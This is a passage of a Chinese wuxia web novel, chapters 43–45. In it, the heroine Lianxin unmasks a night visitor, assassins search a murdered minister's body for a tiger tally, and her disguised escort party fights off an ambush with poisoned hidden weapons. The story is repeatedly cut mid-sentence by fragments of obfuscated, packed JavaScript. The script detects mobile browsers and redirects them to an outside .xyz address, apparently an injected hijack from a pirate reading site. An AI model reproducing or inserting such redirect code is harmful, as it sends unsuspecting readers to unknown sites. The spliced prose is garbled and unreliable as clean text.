那人似乎又笑了一声，就在莲心以为他是不是有些精神失常时，又听到了他略显低沉的声音。 “我来此一是为了探望姑娘，并借此辞行，二是为了取药。” 取药，取哪门子药？ 莲心看了一圈，最后将视线定格在了桌上的药包中。 “不错”，那人说，“就是这些药，许是给药的人忘了告诉姑娘，这药只可外用，切忌内服。” 莲心刚忙上前几步，手忙脚乱将铜壶放下，有些诧异地再度抬头。 莫非……这大侠是他？ 43. 辞别 “姑娘……？” 莲心悠悠回过神来，有些诧异地脱口而出，“干嘛装成这幅样子捉弄人？” 此话一出，她明显看到对面微微一愣，那双黑湛的眼睛中闪过错愕，似乎还有喜悦，但唯独没有看到惊讶。 过了一会儿，那人才缓缓开口，声音中带着几分颤抖，“你认出我了？” 她说呢，果然。 不过这语气是怎么回事，莲心听出了其中的颤抖，想想只会是因怒而起，这才惊觉自己又是一时口快，直接揭穿了对面的伪装。 不管是出于什么目的，两边装神弄鬼这么长时间都没有破绽，被她一下子给拆穿有些恼羞成怒也可以理解。 毕竟不说别的，至少还是上下级的关系，人家自己还没说什么，她一个小卒暴露这点小聪明便是不讨好了。 于是莲心拱了拱手，郑重地行了一礼，有些歉意地说道。 “没有没有……将军您自是天衣无缝，只是不经意流露出的英明神武令吾等觉得熟悉。但您不用担心，我肯定会保守秘密，不会耽误了您的后续计划！” 虽然相处的时间不长，但莲心也摸清了齐绍宁的一些秉性，不知道怎么回事，虽然觉得拿别人打趣这些特点很像，可气质上却有着不同。 可事实胜于雄辩，能够支使动老孙帮忙传药，还有这般身手的，恐怕也很难再有别人，莲心虽有点恼怒自己的失言，但看对方并未反驳，也知道想必是猜中了。 听见她这样解释，对面沉默片刻，好半天才低低轻笑一声，目光沉沉地凝视着莲心。 “无妨……只是我想知道，你是从哪里猜出来的？” 哦，看来自己还真是小人之心了，这位没有生气，这不还虚心向她请教了，好，乐于学习才能更好的进步。 这样想着，莲心也半抬着头认真地点评起来。 “首先就是你的举止，虽然刻意表现得高冷脱俗，但是眼神语气有时总是莫名其妙，给人感觉有点自来熟，这是我产生怀疑的一个原因。” 不是自来熟，而是本身就很熟悉，亏得你还吃过我买的那么多吃食呢，我可不像你，有了新人就忘旧人，他在心里有些生气地想。 那边的莲心长吸口气，顿了顿又继续说道。 “其次就是你这两次出现，按理说到人家寻求帮助难免紧张，但你总是神情自若，就好像——是到了自己家一样。” 哼，都想到这了，那就不能是对你足够信任，知道不会有危险吗？ 他忿忿地想，莲心有些得意地昂了昂头，慢慢说出了最后一点。 “至于最致命的疏忽嘛，那自然就是这次取药喽！谁不知道老孙整日里深居简出，我们这一行人低调得不能再低调，能够如此准确地知晓这些，若说没有内部渠道我是不信的。” 这就更漏洞百出了，就不能是你们领头的上赶子找我合作啊？ 虽然没有出言反驳，但看着少女露出一双眼睛神采飞扬的样子，他无奈地叹了口气，别的不说，这副精气神儿倒和原来没有什么不同。 “哦对了”，对面的莲心想了想，又继续补充。 “那伙人我之前也见识过，飞沙走石邪门的很，凭空冒出个专门相克的大侠有点太扯，况且我记得你曾经说过，你专门研究过克制他们的招数，所以唯有你自己出马最为可能。” 不好意思，论五行相克之法你们上级也只能算学个皮毛，我叔叔的叔叔把他们打得到处逃窜时，那小子还没出生呢，哪轮得到他在这里吹牛！ 那边的莲心三点说完，眨着忽闪忽闪的大眼睛看过来，似乎是在等待他的肯定与表扬。 没来由的，他觉得还挺好玩，毕竟他之所以两次出现在这里，除了来看看她，不就是想来逗她玩吗？ 是他自己仍有所隐瞒，也怪不得她猜错了人，不过往后日子还长，等眼下这桩麻烦过去，有的是时间慢慢揭开自己的假面。 所以，他慢慢眯起眼睛，故作矜持地点了点头。 “观察仔细，思维严谨，很好，日后继续努力。” 莲心也只是意思一下，没想到他还真夸奖起来，一时间除了惊讶，还有些不好意思，赶忙摆了摆手。 “过奖了，惭愧惭愧。您一直哑着嗓子也不容易，在下也不打扰您了，走镖之事还请放心，肯定圆满完成任务！” 这趟镖他是知道的，只是他们没有说会让莲心去。 他的心头微微一动，轻声问，“可都恢复得差不多了？” 身上的伤，心头的痛，是否都已结痂脱落，这样重返故土之时，才不会太过触景伤情，再次鲜血淋漓。 莲心先是一愣，想出他想必是在问她的病情，点了点头，“都好了，这段时间也有练功，虽然远赶不上孙叔他们，但引路押镖还是没问题的。” 他想要问的，还没叮嘱的还有很多，可时间不待，况且看着莲心公事公办的疏离态度，他也清楚说再多也是徒劳。 “一路小心，早去早回。” 想了想，他只说了这么一句。 从京城到福州往返脚程约莫一月，待到梨花含苞俏立枝头，也到了践行那个约定的时间。 待到尘埃落定，千言万语，在那时说才更为适时。 莲心不疑有他，郑重地行了一礼，道，“定不辱命，您也多保重。” 走廊响起几声沉重的脚步，他才有些如梦初醒般移开视线，冲莲心点了点头，随即提着那串药包，从大开的窗户一跃而出，转瞬便隐没在了朦胧的夜色中。 无边的黑中，那点白格外显眼，动作轻巧灵便，倒真如仙人一般，飞檐走壁，飘渺无形。 待到屋内又剩下自己一人，莲心总觉得那家伙有点不对，越想越不像齐绍宁。 不过是不是其实也都无所谓，反正他们是一伙的，而且她只是一个小小的棋子，人家既然没反驳，琢磨也没有什么必要。 对她来说，当务之急还是吃饱喝足，养精蓄锐。 想到这里，肚子适时“咕噜咕噜”叫了几声，幸好莲心给自己多拿了两个馒头，这时候正好派上用场。 现在不吃，等到了荒山野岭，那真是想吃饭都没地方去。 填满肚子，莲心便早早上床休息，今夜无风无月，又是一场好觉。 ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462517|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 临行的前一夜，京城后山。 素白的月光照耀下来，在这清冷的气氛中更添肃杀，一处杂草丛生的山坡上，正直直往下流淌着鲜红的血液。 半山腰的位置正一前一后站着两个人，月光将他们的影子拉得很长，漆黑的衣服不仅融在了夜色里，也和他们投下的阴影交相呼应，让人分辨不出他们是身处黑暗，还是本身就是黑暗。 在他们头上不到两米的位置，正叠着两具尸身，被压在下面的那具尸体穿着华贵，很明显非官即贵，其上的那具尸体相比之下格外朴素，身形消瘦，宛若一把枯骨。 倘若在路上遇到，很容易把他们当作主仆二人，事实上也确实如此，只不过，身份要对调一下。 朴素瘦削的那位不是别人，正是辅佐两朝帝王的内阁首辅，是万千文人心中楷模的国之肱骨——于肃。 一年前因为他多次在朝堂之上力排众议，主张声讨弄权之辈，联合南北友国，出兵征讨东倭及突厥，被天子日益疏远。 终于，在半年之前，被一人之下的“马千岁”陷害，看着被罗列出来的数十条莫须有的罪名，这位年过半百的老臣愤而离席，倔强地挺着背脊，交上了官印和官袍。 可即便有忠仆冒死引开伏击，这位老人还是没有逃脱罪恶的魔爪，在生命的最后仍旧瞪圆了怒眼，虽死也不能瞑目。 “愣着干什么，拿不到那东西，就算提着这颗人头回去，咱们也捞不到好果子吃！” 被责备的矮个子“哦”了一声，有些急躁地撸起袖子，不太情愿地避开鲜血往山上再次爬去，口中还小声埋怨。 “都翻了五次了，连个毛都没有，就知道支使我，着急也不见你自己去摸索那死人……” 一片积云被清风卷开，月光再度投落下来，照出了那人一处手臂，那里赫然用鲜红的颜色刺出一只栩栩如生的蜘蛛，在这种情景下更显可怖。 昂扬了大半辈子的头颅，此刻已经低垂下来，那人只轻轻一推，就迎面倒在地上，落在了潮湿的泥土之中。 “他妈的”，矮个子挨个翻了又翻，还是什么都没有找到，“真是见鬼了，明明看着他把东西带着才动手的，这老家伙到底藏在哪了？” 他们要找的东西不是别的，正是那传说中可以号令半个天下的虎符。 一个月前听说于肃从某个隐居高人手中得了此物，教主便派了他们暗中埋伏打探虚实。 终于在三天前，他们亲眼看到于肃将半块雕刻猛虎的铁块揣进怀里，在半夜时分只带了一个老仆，偷偷坐上了破旧的马车。 城中不好动手，终于在后山让他们抓到了时机，虽然杀戮并不费功夫，可找了半天却并没有找到什么虎符。 别说虎符了，就连半个铜钱都没有。 想到这，矮个子心中更气，狠狠踢了一下尸体的腿，怒骂道，“老东西，死了还不老实……” “等等！” 这时候高个子不知想到了什么，着急忙慌地忙了上来，一边将他往下拉，一边道。 “中计了，这老东西根本就是找死，他这招调虎离山，是用自己的命来拖延时间！” 44. 五人 翌日清晨，天刚蒙蒙亮时，房门突然被有节奏地叩响。 蜷缩在小木床里的莲心猛地睁眼，麻利地一跃下床，身上早已穿戴整齐，看起来已经是早有准备。 刚一拉开门，便看见老孙正立在门口，肩上只挎了一个蓝碎花的小布包，一切都和往日无常，不似远行，就像是出门逛逛一般。 “堂侄，该走了。” 出门在外，为了掩人耳目，他们一行五人假托是从京城来的商户，而且都是沾亲带故，老孙年纪最大，其余的都互相称兄道弟。 莲心点了点头，检查了一下要带的东西后，轻轻关上了门，快步跟在老孙身后往一楼走去。 老孙没有退房，早起准备的小伙计看见他们一前一后下来，也熟悉地热情招呼着。 “两位这么早就出门逛逛？” “是”，老孙笑着答，“好不容易来京城一趟，正好多带我这侄子见见世面。” 后面的莲心一身男装打扮，又特意让老孙帮忙上了点妆，五官轮廓拼凑在一起极为寻常，若是扎在人群里恐怕至亲都难以分辨。 因此虽从前没有见过，但小伙计还是觉得几分眼熟，也朝莲心笑了笑，“京城繁华，多走走是应该的，听说菜西口有家点心铺子每天都排长龙，二位要是路过可以去尝尝鲜。” 听他这么一说，老孙回了句那是自然，还说晚间给他带上一份，小伙计自是不好意思连连推辞，一旁的莲心浅浅一笑。 心想这孙叔啊，自己走了还要手下的人扮作他的样子跑上一趟，这还不解，这一个来月还要一直装作都没离开的假象。 同时也暗自感叹，有组织的行动就是严密，这要是她自己一人，就算有这份心也没这个力，恐怕早就打草惊蛇了。 这样想着，两人已经到了后院外的一块僻静处，在那里正立着一驾极为朴素的马车，车外还立着三个简装打扮的青年。 其中一个走上前来，朝老孙恭敬地拱了拱手，“孙……叔，都准备好了。” “好，辛苦了”，老孙朝身后看了一眼，待到莲心上前一步站在身侧，才拍着她的肩膀，低声开口介绍道。 “这位便是咱们的向导，也是少数经验丰富的镖师，姓苏，这一路上少不了小苏帮我们规划行程。” 他对面的青年点了点头，又朝莲心拱了拱手，“我们几人没有押镖的经验，那就有劳小苏费心指点了。” 这 人看着约莫二十五六，五官端正面容刚毅，笑起来又有种不加掩饰的真挚与淳朴，颇有几分家乡街坊的感觉，和莲心印象里不苟言笑的形象颇为不同。 “ 兄台客气了，在下不过是夺走了几趟镖，一路上还免不了各位和孙叔的帮忙。” 她话音未落，就听见不远处传来一声轻呼。 “姓苏……苏家镖局一年前不都被灭门了，这家伙从哪冒出来的，该不会是来招摇撞骗的吧？” 说话的是个黝黑小子，旁边的同伴赶忙伸手往他脑后捶了一下，低骂道，“闭上你的臭嘴，办好差事得了，哪都有你插嘴！” 领头那位看了看老孙，又朝莲心抱歉地笑笑，“我那位兄弟说话不过脑子，但心不坏，还请小苏兄弟莫要挂在心上。” “不会不会”，莲心摇了摇头，不但没有觉得被冒犯，反而隐隐有些高兴，没想到老爹掌管的镖局这么有名气，看了看天色，问询地看向老孙。 “事不宜迟，那我们现在变准备出发？” 老孙摇了摇头，故作高深地环顾四周，“时候不到，还需稍等片刻。” 几分钟之后，不远处的巷子里响起了车轮滚滚的声音，坐在车厢里的老孙这才掀开车帘，向外吩咐道，“可以走了。” 方才拍打黑脸青年的同伴又瞪了他一眼，抬手猛挥马鞭击打马身，待行出一段距离，又小声责备他。 “你小子魂不守舍又琢磨些什么呢，办事不力小心回去又挨板子！” 那黝黑青年有些忿忿地还嘴，口中振振有词。 “哎呀你懂什么，我怎么瞧着那小苏镖师不太对劲。你看他那副小身板吧，怎么都不像个走过镖的，也不知道孙叔是看中他哪一点？” 经他这么一说，那同伴也隐隐有些怀疑。 “这倒也是，要我说随便到镖局找个伙计都比他看着能打。” 不过转念一想，他又继续道。 “若论能打有咱们几个兄弟，再加上孙将军怎还不够，说不准那小子有点计谋呢？反正都是人家上边拍板定下来的，咱几个当差就完了，想那些也没用。” “瞧你这话吧，真是目光短浅，将军又有何了不起的，还不是□□凡躯？” 黝黑青年不乐意了，撇了撇嘴，“一旦怀疑成了真，不就解决了一门隐患，到那时候别说孙将军了，就连少将军也得高看咱一眼！” “行了行了，办好自己的差得了，想东想西，全是些不着边际的。” 那黑脸青年还想再说，可旁边的同伴早就扭过了脸不听，他自觉没趣，也就看着前路继续思索，没再说话。 外面安静下来，马车里的三人面面相觑，也都微微笑了起来。 通过方才的介绍得知，领头这位名叫齐棠，黑脸的叫齐薪，剩下那位叫齐祐，都是边境失去亲人的孤儿，被齐老将军收入军中教书习武，成为了亲信队伍。 方才那些话，几人也都听了个七七八八，对于六弟背后讲人坏话的行为，齐棠只觉面上一阵发热，有些不好意思地开了口。 “孙叔，苏兄弟，老六这小子就是欠抽，等这事过去我肯定好好教训他一番……” 老孙倒是也没有阻拦，只是笑着饮了口酒，颇有些看热闹不嫌事大的又添了把火。 “别的倒还好说，这小子一是口无遮拦，整日想些捷径，二来总是问东问西，对于同伴不信任。若被有心之人加以利用，足以成为悬在头上的一把利剑。” 这时候，莲心也慢慢开口。 “虽说老六兄弟有点出言鲁莽，但敢于进取还是好的。另外他用怀疑的眼光看待一切的这种精神，我也持欣赏的态度，我认为口头警告一次就好。” “是是是，我肯定好好训他一顿，让这小子痛改前非”，借着这个台阶，齐棠赶紧往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15468957|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下下，况且毕竟也是一同出生入死的兄弟，若让他往死里打，他也下不去狠手。 上座的老孙各瞪了他俩一眼，哼了一声，“也就是我吧，由着你个外人指手画脚，也放任你这队长袒护手足，若是换成老将军，只怕你俩都免不了二十军棍。” “啊？”莲心惊呼，“我又不是你们军营中的，凭什么要责罚我啊？” 一旁的齐棠笑着摇了摇头，“您和老将军都不会和我们计较，若非如此，只怕我们这百十来号人，现在能剩下十个就是谢天谢地了。” 况且老将军身先士卒，他把将士们当作手足兄弟，将士们虽然平日有些口无遮拦，但关键时刻没有一个会生出不臣之心的。 他这马屁拍得隐晦，可显然是拍对了地方，之间老孙抿着嘴，显然是在强掩笑意。 “行了”，他轻咳一声，“趁着还在城中抓紧时间休息一会儿，等到出了城，难免遇见些‘妖魔鬼怪’，到时候再想休息就难了。” 马车外的齐薪正竖着耳朵听，听到这里赶忙凑到同伴身边，有些紧张地问道。 “你听没听见，孙叔说出了城会有妖魔鬼怪，这是真的还是假的啊？” 齐祐鄙夷地白了他一眼，“哪有什么鬼怪，不过是别有用心之人的装神弄鬼。都在战场了呆了这么久了，还这么大惊小怪的，可笑不可笑啊你！” “又显着你能了，就知道挖苦我”，齐薪又撇了撇嘴，声音变得更低，显然有些难为情，“我不就是有点怕鬼嘛，对了，这事你可没跟别人说吧？” “瞧你那点出息”，齐祐哈哈一笑，凑到他耳边低声说。 “不说还不容易，就是你那吧家传钢刀兄长我看着不错，不知道你能否忍痛割爱呢？” 见他这般落井下石，齐薪眼睛一瞪，“做梦！既然如此，就别怪兄弟手下无情了！” 两人隔着空气过了两招，不知不觉间已经行出老远，显然已是出了城门。 突然间路旁的树丛中传来几声沙沙声，可当下并无风过，借着月色也看不见半点人影。 “哎呀，不想我这内力何时这样深厚，说是隔空打牛也不为过！” “放屁”，齐祐瞪了他一眼，神情多了些紧张，“哥儿几个都打起点精神，我估摸着想要装神弄鬼的就要来了！” 马车加快了速度，在城外泥泞的山路上飞驰，路旁一棵棵枯枝残树飞逝而过，重重叠叠投下一条条黑影，显然是个藏身的绝佳场所。 出发时，老孙他们已经做好了准备，同时兵分三路，他们是第二个出发，论规模不及第三个，论人数不如第一个，并不起眼。 这时坐在车厢的几人早已睁开了眼，各自握紧腰间的佩剑，侧耳聆听，蓄势待发。 对方的动作比预想要提前一些，不过这也恰能说明，之前的谋划一切顺利。 又这样相安无事行出一段，突然车外一阵狂风呼啸，紧接着响起的，便是刀剑碰撞的铮鸣。 很快，车窗被溅上抹抹鲜红，莲心伸手去探，指尖一阵温热。 “还愣着做什么”，外面传来一声高喊，“赶紧出来帮忙啊！” 45. 暗器 外面的战况显然要比想象中糟糕许多。 飞沙走石尚且不谈，就说那剑身上不断晃过的白光，就直让人眼花缭乱，敌我难辨。 “小贼莫急，先吃我一剑！” 齐棠高喝一声，拔出腰间长剑，凌空一跃到了那弥漫的尘雾之中，剑尖一挑，就勾着半埋入土中之人的脖领，像拔萝卜一样把人生生拽了出来。 出乎意料的是，这人看着格外瘦小，身量不及寻常男子肩膀，脸上蒙着黑布，周身确透着不容忽视的狠戾。 被硬拽出来也不惊慌，回手以肉眼难以看清的速度接连抛出数枚暗器，如雨点般“噼里啪啦”朝齐棠砸来。 这边的齐棠显然也是早有准备，手中长剑挽出几个剑花，将那些暗器都弹落在地上，其中一个恰巧落在莲心脚边，莲心凑近一看，不禁倒吸了一口凉气。 那暗器虽只有手指粗细，却做工精细，看着似乎是白钢的材质，被制成了类似雪花的形状，看似轻盈，四周的棱角格外尖锐，在月光下泛着盈盈寒光。 不消多想，光是空中旋转时这锋利的边角便足矣割断脖颈，更别提这上面显然还淬了毒，若是不小心被划破个口子，恐怕都是凶多吉少。 “看来没那么好对付，我也去帮帮忙”，见遁地的小坑越卷越多，眼看着从刚才的五六个一下子变成了十余个，老孙也拔出了腰间长刀，回头对莲心嘱咐道。 “有我们几个拦着，他们别想靠近马车半步。你就留在这里，记住，一定要收好这趟货。” 莲心知道情况紧急，忙点了点头，“您放心，我肯定会守好这里。” 得到了莲心的承诺，老孙这才稍微放下了心，手中不知何时捻了两颗石子，一回身的功夫就径直打在右后方准备趁虚而入的黑面人眉间。 只这一击，那人便顿在原地，下一秒就犹如断了线的木偶，沉重地仰面倒在了原地，不知是被打晕还是已经没了气。 但两人也顾不得去探他的鼻息，因为就在他身后不远处，又是一纵小队奔涌而上，目标很明确，就是奔着马车而来。 老孙屏气凝神，不再给他们遁地靠近的机会，手中长刀狠狠往地上一劈，就见那边接连传来几声惨叫。 循声望去，莲心见到方才还滚滚而来的五六个土涡安静下来，其中还有两个本来埋在土里的人已经完全暴露出来，覆脸的黑布不知何时扯了下来，口中眼中俱是血液。 那两人显然没有生机可言，他们有些呆滞地看着手执长刀的老孙，又是吐出好几口乌黑的血，接着终于还是摇摇晃晃倒了下去。 将一切收之眼底的莲心轻叹了口气，微微闭了闭眼，这几人已经身中剧毒，就算今日不倒在这，也没有几日好活。 想到这里，她心中不禁生出几分悲凉，这些蒙面的遁地人之中几乎都是大曜百姓，他们中有多少是出于被蛊惑和胁迫，这番自相残杀究竟要延续到何时呢？ 但眼下情形由不得她想这么多，连天的厮杀声和皮开肉绽的声音，触目所及的皆是一片血红。 突然，莲心感到右颊一阵温热，伸手去探只见遍是猩红。 周遭厮杀之声不绝于耳，眼见着包围圈越来越小，留给莲心可以推动马车的干净之处不多，漫天血珠子像暴雨一般噼里啪啦砸落下来，莲心用衣袖抹了把睫毛上滚落的血珠，下一刻“唰”地一下拔出腰间的匕首，朝脚下刺了过去。 果不其然，只听得一声闷哼，拔出的刃尖落下颗颗血滴，莲心凝了凝神，如同门神一样守在马车旁边，不容许旁人靠近分毫。 不远处的老孙听到动静，赞许地看了莲心一眼，这边的莲心又如法炮制地刺中了两个“遁地鼠”，也回首给了一个眼神，示意对方大可放心。 从小生在水边的她别的不说，捕鱼那可是他爹手把手教出来的，说不上多么老道，但至少也算的上是中上水平。 还记得当初他们这些小孩一人握着一个树杈，挽着裤管在小溪间奔跑，每次都要当属莲心他们姐弟扎得鱼又快又准，日落时分看下来，就连两三个人加在一起的都没有他们一个人的多。 现在这门手艺用在这里，却意想不到的好用。 一会儿的功夫，倒在她匕首之下的没有十个，也有七八，那伙人显然也不傻，意识到了莲心不是个吃素的，既然从地下无法得手，那便决定从空中突袭。 这不，她刚扫除了最后一个“土旋风”，便见从半空之中飞过来一柄弯刀，刀刃上泛着幽幽寒光，直直朝莲心的胸口而来。 幸好她眼疾手快，凌空转了个身堪堪避过，那弯刀挟着疾风呼啸而来，最终只能落了个空，重重砸在不远处的一棵古树上，将树干从中硬生生劈成两半。 将一切收之眼底的莲心大吃一惊，虽然知道对方来势汹汹，但还是不免有些惊诧，同时，也为自己感到隐隐后怕。 哪怕是暂时占据了上风，她也提醒自己万不可掉以轻心，对方中虽然不乏些充数的，但绝非尽是等闲之辈，不说别的，就这深厚的内力和劲道，就算得上是个中高手。 “小苏，看好货，看好货……！” 看来不知对她一人更改了策略，旁边的几人也迎上了他们的空袭，齐棠挥剑连斩了两个蒙面杀手，回头朝莲心大声喊道。 莲心复又握紧了手中的匕首，应了一声，“放心！” 转而耳边又起风声，不用看一定是又来了一波袭击，莲心双腿微蹲扎了个稳稳的马步，一手执匕随时准备近战，另一手虚虚探向腰间。 幸好她一直虚心求学，在和老周分别之际，软磨硬泡学来了他一招看家本领——暗里抛花，虽然一直没机会看看练到几成，但眼下便是实战中练习的好时机了。 她唇畔带上一抹冷笑，看着半空中找找狠戾直取她要害的蒙面黑衣人，左手轻轻一挥，撒出一片晶亮。 “辛苦你们带来一场血雨，这阵霜花便作为还礼，初来乍到，还请笑纳！” 之所以叫暗里抛花，顾名思义就是趁其不备暗地里抛出袖中的暗器，又因着老周精益求精的精神，故这暗器被打磨得如绣花针般粗细，连着抛出倒还真如同一阵霜花。 但是，这霜花虽美，却也同样饱含了剧毒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474137|164961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 老周常说，高明的暗器人从不大张旗鼓，日复一日的练习只是出于自保，而最上层的，就是因其不备，一招致命。 暗器暗器，就是要在对方没有察觉自己中暗器时，就已经被毒控制，落了下成。 就像莲心现在这样，明明一人面对着五六个训练有素的杀手，却能凭着这一手，不说反败为胜，也能给自己脱身争取到宝贵的时间。 “噼里啪啦”声中，趁着那几人挥刀避开暗器的空档，莲心手持匕首，一连割断了四个人的脖颈。 其实在被屠城之前，她虽然痴迷练功，却从未亲手取过任何人的性命，别说人了，就连鸡鸭她也是不敢杀的。 可是，在带着弟弟北上逃难的路上，饶是她心中再恐惧，也不得不握紧手中的匕首，学着对街朱屠夫的样子，狠狠割断猛虎野兽的颈部。 割肉放血，从连手指都发着抖，到现如今的面不改色眼不眨，她知道，自己已经和从前大不相同。 两者对峙，狠不下心的一方，就会被夺去性命，手下留情，到最后只是成为倒下的一方。 当视线被染上一层血雾，莲心想自己还是没有练过关，不然为什么看着轰然倒地的一句句躯体时，握着匕首的手还是会微微颤了又颤呢？ 最后一个摇摇晃晃站起来的显然已经中了暗器，看着两步之遥的莲心，似乎有些不解为什么她没有将自己一同斩于刀下。 其实没有立刻对他出手的原因，可能是因为他中了暗器，即使不动手也会在七步之内毒发身亡，又或许看着那稚嫩的身形，让她想到了还在江州念书的幼弟莲生。 见她没动，那半大的孩子也没有动，他们就这样静静对峙了一瞬。 下一秒，莲心看到了那双瞳孔里的疑惑不解被另一种情绪所取代，那情绪莲心再熟悉不过，曾在屠城之时看了个真切。 是对自己命运的恐惧，以及……对眼前之人的憎恶和嗜杀。 “唰”的一声，那道瘦小的黑影裹挟着血腥气，呼啸着朝莲心的方向袭来。 不同于右手传来的阵阵温热，莲心的心底只涌上片片寒凉。 在生命的最后关头，这个比自己弟弟大不了多少的孩子，只是用充满怨毒的双眼凝视着她，或许在他心里，只是怨恨这次生死搏杀得胜的不是自己而已。 也许再一次又一次的杀戮中，早已泯灭了他们的人性，他们的眼中只有对手，不辨是非，只论输赢。 右手的血一滴滴落在地上，莲心有些木然地抬起头，无措地死死守在马车旁，机械似地扫除残余的杀手。 除她以外，周围几人显然也到了收尾阶段，直到只剩下最后一个蒙面杀手时，老孙用剑挡住了刺往他胸膛的一击。 “留他一命，好审问幕后主使！” 被拦住的齐薪有些不解气，就在他撤开剑的那一瞬，却突然注意到那蒙面人的眼睛弯起来，轻蔑地笑了一声，随后如短线的风筝，轻飘飘倒在地上。 他临死前，用蹩脚的大曜语高声呼喊的是: “教主千秋，噬野必胜！”